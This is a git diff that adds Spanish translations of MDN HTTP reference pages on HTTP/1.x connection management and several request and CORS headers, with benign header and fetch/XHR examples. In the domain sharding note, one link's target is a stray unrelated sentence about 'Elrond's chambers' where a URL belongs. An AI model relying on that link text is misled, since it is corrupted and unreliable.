+
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li>
+  <p><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html b/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html
new file mode 100644
index 0000000000..5e9fff8fa9
--- /dev/null
+++ b/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html
@@ -0,0 +1,86 @@
+---
+title: Gestión de la conexión en  HTTP/1.x
+slug: Web/HTTP/Gestion_de_la_conexion_en_HTTP_1.x
+translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">La gestión de las conexiones en un tema fundamental en HTTP: crear y mantener una conexión tiene una gran influencia en el rendimiento de las páginas Web y las aplicaciones Web. En la versión HTTP/1.x, hay modos de conexión: conexiones breves, conexiones persistentes, y '<em>pipelining</em>'.</p>
+
+<p>HTTP la mayor parte de las veces se basa en TCP, como protocolo de transporte, dando conexión entre el cliente y el servidor. En sus comienzos, HTTP, únicamente tenia un modelo para gestionar dichas conexiones. Aquellas conexiones eran conexiones breves: se creaba una cada vez que una petición necesitaba ser transmitida, y se cerraba, una vez que la respuesta se había recibido. </p>
+
+<p>Este sencillo modelo tenía una limitación intrínseca en su rendimiento: abrir una conexión TCP es una operación costosa en recursos. Se necesitan intercambiar varios mensajes entre el cliente y el servidor para hacerlo. Y la latencia de la red y su ancho de banda, se veían afectados cuando se realizaba una petición. Las páginas web actuales, necesitan varias peticiones (una docena o más) para tener la información necesaria, de manera que este primer modelo es ineficiente para ellas.</p>
+
+<p>Dos nuevos modelos se presentaron en HTTP/1.1. La conexión persistente, mantiene las conexiones abiertas, entre peticiones sucesivas, eliminando así el tiempo necesario para abrir nuevas conexiones. El modelo 'pipelining' va un paso más allá, y envía varias peticiones sucesivas, sin esperar por la respuesta, reduciendo significativamente la latencia en la red. </p>
+
+<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p>
+
+<div class="note">
+<p>HTTP/2 añade nuevos modelos para la gestión de la conexión. </p>
+</div>
+
+<p>Un punto significativo a tener en cuenta en la gestión de la conexión de HTTP, es que este se refiere a la conexión establecida entre dos nodos consecutivos de la red, esto se denomina <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>, en contraposición al concepto de  <a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end</a>. El modelo de conexión entre un cliente y su primer proxy, puede ser distinto que la comunicación entre el proxy y el servidor de destino (u otro proxy intermedio).  Las cabeceras de HTTP utilizadas para definir el modelo de conexión como  {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}}, se refieren a una conexión <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>, y estos parámetros, pueden variar en las comunicaciones de los nodos intermedios. </p>
+
+<p>Un tema también relativo a esto, es el concepto de conexiones con protocolos HTTP superiores, donde una conexión HTTP/1.1 se actualiza a un protocolo distinto, como puede ser TLS/1.0, WebSockets, o HTTP/2.  Este <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">mecanismo de actualización del </a><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">protocolo</a> se encuentra documentado en otra página.</p>
+
+<h2 id="Conexiones_breves">Conexiones breves</h2>
+
+<p>El modelo original de HTTP, y el modelo de HTTP/1.0, está basado, en conexiones breves. Cada petición HTTP, se completa estableciendo (iniciando, estableciendo y cerrando) su propia conexión. Esto supone que la coordinación en el protocolo HTTP (handshake), sucede de forma previa a cada petición HTTP.</p>
+
+<p>La coordinación o inicialización de una comunicación en el protocolo TCP, requiere un tiempo dado, pero al adaptarse el protocolo TCP a su carga de transmisión de datos, este incrementa su eficiencia cuando se mantiene la conexión en el tiempo, utilizándose una conexión para transmitir numerosos peticiones de datos. Las conexiones breves, no utilizan esta característica del protocolo TCP, y el rendimiento de la conexión es peor que en el caso óptimo, al estar constantemente necesitando iniciar conexiones para transmitir cada mensaje (esto se conoce como conexiones 'en frio', o en inglés: 'cold connections'). </p>
+
+<p>La conexión breve es la conexión usada por defecto en HTTP/1.0 (únicamente en el caso de no esté definida la  cabecera {{HTTPHeader("Connection")}}, o su valor sea  <code>close</code>  entonces, no se utilizaria el modelo de conexiones breves). En HTTP/1.1, este modelo de conexión unicamente se utiliza al definir la cabecera  {{HTTPHeader("Connection")}} como <code>close</code>  .</p>
+
+<div class="note">
+<p>A menos que  se de la situación en que se ha de trabajar con sistemas antiguos que no soportan conexiones persistentes, no hay otra razón para el uso de este modelo de conexiones. </p>
+</div>
+
+<h2 id="Conexiones_persistentes">Conexiones persistentes</h2>
+
+<p>Las conexiones breves, tienen dos importantes desventajas: el tiempo que necesitan para establecer una nueva conexión es significativo, y la eficacia del protocolo inferior a HTTP: el TCP unicamente mejora cuando la conexión ha estado funcionando durante algún tiempo (conexión caliente o 'warm connection' en inglés). Para atenuar dichos inconvenientes, se presentó el concepto de conexión persistente, ya incluso antes de presentar el protocolo HTTP/1.1. También se le conoce como <em>'keep-alive connection</em>' que en inglés indica una conexión que se mantiene viva. </p>
+
+<p>Una conexión persistente es aquella la cual permanece abierta por un periodo, y puede ser reutilizada por varias peticiones de datos, ahorrando así la necesidad de efectuar nuevas sincronizaciones a nivel de TCP, de esta manera se puede usar más eficazmente el protocolo TCP. Esta conexión no estará abierta permanentemente, si la conexión no se usa, se cerrará después de un tiempo determinado (un servidor puede usar la cabecera {{HTTPHeader("Keep-Alive")}} para definir el tiempo mínimo que la conexión debería estar abierta. </p>
+
+<p>Las conexiones persistentes también tienen sus desventajas: incluso cuando no están transmitiendo datos, consumen recursos, y en casos en que la red esté soportando una carga de transferencia muy alta, un {{glossary("DoS attack", "ataque DoS ")}} puede realizarse. En estos casos, el uso de conexiones no persistentes, las cuales se cierran tan pronto como no necesitan transmitir, pueden resultar en un sistema más eficaz.</p>
+
+<p>HTTP/1.0 las conexiones HTTP/1.0 no son persistentes por defecto. Si se indica en la cabecera de un mensaje {{HTTPHeader("Connection")}} cualquier otro valor que no sea:  <code>close</code>, como puede ser: <code>retry-after</code>,  en tal caso, se harán conexiones persistentes. </p>
+
+<p>En HTTP/1.1 las conexiones son persistentes por defecto, así que esa cabecera no se necesita (aunque usualmente se añade como medida defensiva, en caso de que se tenga que utilizar el protocolo HTTP/1.0).</p>
+
+<h2 id="HTTP_pipelining">HTTP pipelining</h2>
+
+<div class="note">
+<p>HTTP pipelining no está activado por defecto en los navegacdores modernos:</p>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Proxies</a> con defectos de implementación son habituales y provocan comportamientos extraños y erráticos, que los desarrolladores de Webs, no pueden predecir, ni corregir fácilmente.</li>
+ <li>HTTP Pipelining es complicado de implementar correctamente: el tamaño del recurso pedido, el correcto <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> que será utilizado, así como el ancho de banda efectivo, tienen un impacto directo en la en la mejora de rendimiento de este método. Sin conocer estos valores, puede que mensajes importantes, se vean retrasados, por mensajes que no lo son. El concepto de "importante" incluso cambia según se carga la maquetación (layout) de la página. De ahí que este método solamente presente una mejora marginal en la mayoría de los casos.  </li>
+ <li>HTTP Pipelining  presenta un problema conocido como <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a> </li>
+</ul>
+
+<p>Así, debido a estas razones este método ha sido relevado por un algoritmo mejor, la <strong>multiplexación</strong>, que es el que usa HTTP/2.</p>
+</div>
+
+<p>Por defecto, las peticiones HTTP son realizadas de manera sequencial. La siguiente petición es realizada una vez que la respuesta a la petición actual ha sido recibida. Debido a que se ven afectadas por latencias en la red y limitaciones en el ancho de banda, ésto puede llevar a retardos significativos hasta que la siguiente petición es <em>vista</em> por el servidor.</p>
+
+<p>Pipelining es un proceso para enviar peticiones sucesivas, sobre la misma conexión persistente, sin esperar a la respuesta. Esto evita latencias en la conexión. En teoría, el rendimiento también podría mejorar si dos peticiones HTTP se empaquetaran en el mismo mensaje TCP. El MSS (Maximum Segment Size) típico, es suficientemente grande para contener varias peticiones simples, aunque la demanda de tamaño de las peticiones HTTP sigue creciendo.</p>
+
+<p>No todos los tipos de peticiones HTTP pueden ser utilizadas en pipeline: solo métodos {{glossary("idempotent")}} como {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} and {{HTTPMethod("DELETE")}} pueden ser repetidos sin incidencias. Si ocurre un fallo, el contenido se puede simplemente reenviar.</p>
+
+<p>Hoy en día, todo proxy y servidor que cumpla con HTTP/1.1 debería dar soporte a pipelining, aunque en práctica tenga muchas limitaciones. Por esta razón, ningún explorador moderno lo activa por defecto.</p>
+
+<h2 id="Domain_sharding">Domain sharding</h2>
+
+<div class="note">
+<p>Unless you have a very specific immediate need, don't use this deprecated technique; switch to HTTP/2 instead. In HTTP/2, domain sharding is no more useful: the HTTP/2 connection is able to handle parallel unprioritized requests very well. Domain sharding is even detrimental to performance. Most HTTP/2 implementation use a technique called <a href="I wonder if it's related to the nobash/nobreak/nopick secret exit s of Elrond's chambers.">connection coalescing</a> to revert eventual domain sharding.</p>
+</div>
+
+<p>As an HTTP/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. As a solution, browsers open several connections to each domain, sending parallel requests. Default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. There is a risk of triggering <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> protection on the server side if attempting more than this number.</p>
+
+<p>If  the server wishes a faster Web site or application response, it is possible for the server to force the opening of more connections. For example, Instead of having all resources on the same domain, say <code>www.example.com</code>, it could split over several domains, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Each of these domains resolve to the <em>same</em> server, and the Web browser will open 6 connections to each (in our example, boosting the connections to 18). This technique is called <em>domain sharding</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Las mejoras en la gestión de las conexiones, han significado un considerable aumento en el rendimiento del protocolo HTTP. Con HTTP/1.1 o HTTP/1.0, el uso de una conexión persistente - al menos hasta que que no necesite transmitir más datos- resulta en un significativo aumento en el rendimiento de la comunicación. Incluso, el fracaso de. método de pipelining, ha resultado en el diseño de modelos superiores para la gestión de la conexión, todo lo cual se ha incorporado en HTTP/2. </p>
diff --git a/files/es/web/http/headers/accept-charset/index.html b/files/es/web/http/headers/accept-charset/index.html
new file mode 100644
index 0000000000..a6a5f9c6c8
--- /dev/null
+++ b/files/es/web/http/headers/accept-charset/index.html
@@ -0,0 +1,85 @@
+---
+title: Accept-Charset
+slug: Web/HTTP/Headers/Accept-Charset
+tags:
+  - Negociación de Contenido
+translation_of: Web/HTTP/Headers/Accept-Charset
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The <strong><code>Accept-Charset</code></strong> request HTTP header advertises which character set the client is able to understand. Using <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>, the server then selects one of the proposals, uses it and informs the client of its choice within the {{HTTPHeader("Content-Type")}} response header. Browsers usually don't set this header as the default value for each content type is usually correct and transmitting it would allow easier fingerprinting.</p>
+
+<p>If the server cannot serve any matching character set, it can theoretically send back a {{HTTPStatus("406")}} (Not Acceptable) error code. But, for a better user experience, this is rarely done and the more common way is to ignore the <code>Accept-Charset</code> header in this case.</p>
+
+<div class="note">
+<p>In early versions of HTTP/1.1, a default charset (<code>ISO-8859-1</code>) was defined. This is no more the case and now each content type may have its own default.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Accept-Charset: &lt;charset&gt;
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Charset: utf-8, iso-8859-1;q=0.5</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>&lt;charset&gt;</code></dt>
+ <dd>Un conjunto de caracteres como <code>utf-8</code> o <code>iso-8859-15.</code></dd>
+ <dt><code>*</code></dt>
+ <dd>Any charset not mentioned elsewhere in the header; <code>'*'</code> being used as a wildcard.</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Any value is placed in an order of preference expressed using a relative <a href="/en-US/docs/Glossary/Quality_values">quality value</a> called the <em>weight</em>.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre>Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La compatibilidad de la tabla en esta página es generada de una data estructurada. Si quieres contribuir con la Data, por favor revisa: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos tu solicitud.</p>
+
+<p>{{Compat("http.headers.Accept-Charset")}}</p>
+
+<h2 id="También_puedes_revisar">También puedes revisar:</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Encabezados conlos resultados de la negociación de contenido: {{HTTPHeader("Content-Type")}}</li>
+ <li>Otros encabezados similares: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/accept-ranges/index.html b/files/es/web/http/headers/accept-ranges/index.html
new file mode 100644
index 0000000000..30b447504b
--- /dev/null
+++ b/files/es/web/http/headers/accept-ranges/index.html
@@ -0,0 +1,70 @@
+---
+title: Accept-Ranges
+slug: Web/HTTP/Headers/Accept-Ranges
+translation_of: Web/HTTP/Headers/Accept-Ranges
+---
+<p>El encabezado de respuesta HTTP <code><strong>Accept-Ranges</strong></code> es un marcador usado por el servidor para notificar que soporta solicitudes parciales. El valor de este campo indica la unidad que puede ser usada para definir el rango.</p>
+
+<p>En caso de estar presente un encabezado de respuesta <code>Accept-Ranges</code>, el navegador puede intentar restablecer una descarga interrumpida, en vez de reiniciarla o comenzarla desde el principio.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Accept-Ranges: bytes
+Accept-Ranges: none</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>No indicar la unidad de medida del rango no está soportado, esto hace que el encabezado sea tomado como ausente, y por lo tanto es usado raramente, aunque algunos exploradores , como IE9, esto es usado para inhabilitar o remover el botón de pausa en el administrador de descargas.</dd>
+ <dt><code>bytes</code></dt>
+ <dd>
+ <p>La unidad de medida del rango es bytes.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Accept-Ranges: bytes
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/accept-ranges")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/accept/index.html b/files/es/web/http/headers/accept/index.html
new file mode 100644
index 0000000000..7311f2498f
--- /dev/null
+++ b/files/es/web/http/headers/accept/index.html
@@ -0,0 +1,99 @@
+---
+title: Accept
+slug: Web/HTTP/Headers/Accept
+tags:
+  - Cabecera HTTP
+  - Cabecera de Pedido
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><font face="Open Sans, arial, sans-serif">La cabecera de pedido </font><strong>Accept</strong></code> anuncia que tipo de contenido el cliente puede procesar, expresado como un tipo <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a>. Usando <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a>, el servidor selecciona una de las propuestas , la utiliza e informa al cliente de la elección a través de  la cabecera de respuesta {{HTTPHeader("Content-Type")}} .</p>
+
+<p>Los navegadores configuran los valores adecuados en dependencia del contexto donde se ha hecho el pedido, por ejemplo: al solicitar una hoja de estilos CSS es configurado un valor diferente que cuando se solicita una imagen, un video o un script.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Cabecera</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Multiples tipos, priorizados con {{glossary("quality values", "quality value")}} sintaxis:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd>Un único y preciso tipo <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a>, como <code>text/html</code>.</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>Un tipo MIME, pero con cualquier subtipo.</dd>
+ <dd>Por ejmplo, image/* comincide con:
+ <ul>
+  <li>image/png</li>
+  <li>image/svg</li>
+  <li>image/gif<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+ <dt><code>*/*</code></dt>
+ <dd>Culaquier tipo MIME</dd>
+ <dt><code>;q=</code> (donde <em>q</em> es la importancia o peso)</dt>
+ <dd>Culaquier valor es colocado en orden de preferencia, expresada usando un <a href="/en-US/docs/Glossary/Quality_values">valor de calidad</a> llamado <em>weight</em> (<em>peso</em> en español).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si quieres contribuir con los datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envía un pull request.</p>
+
+<p>{{Compat("http.headers.Accept")}}</p>
+
+<h2 id="Tambien_Ver">Tambien Ver</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociación de Contenido HTTP</a></li>
+ <li>Cabecera con el resultado de la negociación de contenido: {{HTTPHeader("Content-Type")}}</li>
+ <li>Otras cabeceras similares: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-credentials/index.html b/files/es/web/http/headers/access-control-allow-credentials/index.html
new file mode 100644
index 0000000000..1b01c6d9ac
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-credentials/index.html
@@ -0,0 +1,99 @@
+---
+title: Access-Control-Allow-Credentials
+slug: Web/HTTP/Headers/Access-Control-Allow-Credentials
+tags:
+  - Access-Control-Allow-Credencials
+  - CORS
+  - HTTP
+  - Referencia
+  - credenciales
+  - encabezado
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <strong><code>Access-Control-Allow-Credentials</code></strong> le dice al navegador si exponer la respuesta al código JavaScript (del frontend) cuando el modo credenciales en la petición es incluído.</p>
+
+<p>Cuando las credenciales de una petición ({{domxref("Request.credentials")}}) es <code>include</code>, los navegadores sólo expondran la respuesta al código JavaScript del frontend si el valor de <code>Access-Control-Allow-Credentials</code> es <code>true</code>.</p>
+
+<p>Las credenciales son cookies, encabezados de autorización o certíficados de cliente TLS.</p>
+
+<p>Cuando se usa como parte de una respueste a una petición previa, indica si la petición real puede ser hecha utilizando credenciales. Note que peticiones {{HTTPMethod("GET")}} sencillas no tienen una solicitud previa, y por lo tanto, una petición es hecha por un recurso con credenciales, si el encabezado no regresa con el recurso, la respuesta es ignorada por el navegador y no es devuelto como contenido web.</p>
+
+<p>El encabezado <code>Access-Control-Allow-Credentials</code> trabaja en conjunción con la propiedad {{domxref("XMLHttpRequest.withCredentials")}} o con la opción <code>credentials</code> en el constructor {{domxref("Request.Request()", "Request()")}}  de la API Fetch. Para una petición CORS con credenciales, para que el navegador exponga la respuesta al código JavaScript del fronend, tanto el servidor (utilizando el encabezado <code>Access-Control-Allow-Credentials</code>) y el cliente (al configurar el modo de las credenciales para peticiones XHR, Fetch, o Ajax) se debe indicar que estan permitiendo la inclusión de credenciales.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Respuesta del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Credentials: true
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>true</dt>
+ <dd>El único valor válido para este encabezado es <code>true</code> (en minúsculas). Si no se necesitan credenciales, se debe omitir este encabezado (en lugar de colocar su valor como <code>false</code>).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Permitir credenciales:</p>
+
+<pre class="notranslate">Access-Control-Allow-Credentials: true</pre>
+
+<p>Utilizando <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> con credenciales:</p>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<p>Utilizando <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> con credenciales:</p>
+
+<pre class="brush: js notranslate">fetch(url, {
+  credentials: 'include'
+})</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especifiación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Credentials")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest.withCredentials")}}</li>
+ <li>{{domxref("Request.Request()", "Request()")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-headers/index.html b/files/es/web/http/headers/access-control-allow-headers/index.html
new file mode 100644
index 0000000000..616007cab2
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-headers/index.html
@@ -0,0 +1,93 @@
+---
+title: Access-Control-Allow-Headers
+slug: Web/HTTP/Headers/Access-Control-Allow-Headers
+tags:
+  - CORS
+  - encabezado
+  - encabezado HTTP
+  - header
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <strong><code>Access-Control-Allow-Headers</code></strong> es usado en la respuesta  a una {{glossary("preflight request", "solicitud preflight")}} para indicar cuáles encabezados HTTP pueden ser usados durante dicha solicitud.</p>
+
+<p>Los {{glossary("simple header", "encabezados simples")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} (pero sólo con un tipo MIME de sus valores analizados (ignorando los parámetros) de cualquier <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, o <code>text/plain</code>), siempre están disponibles y no necesitan ser incluidos por este encabezado.</p>
+
+<p>Este encabezado es necesario si la solicitud tiene un encabezado {{HTTPHeader("Access-Control-Request-Headers")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Encabezado de respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Headers: &lt;nombre-de-encabezado&gt;, &lt;nombre-de-encabezado&gt;, ...
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;nombre-de-encabezado&gt;</dt>
+ <dd>Lista de los encabezados soportados separados por una coma.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>El carácter comodín (*) que es mencionado en la última especificación, todavía no está implementado en los navegadores:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+   <li>WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165508">Issue 165508</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
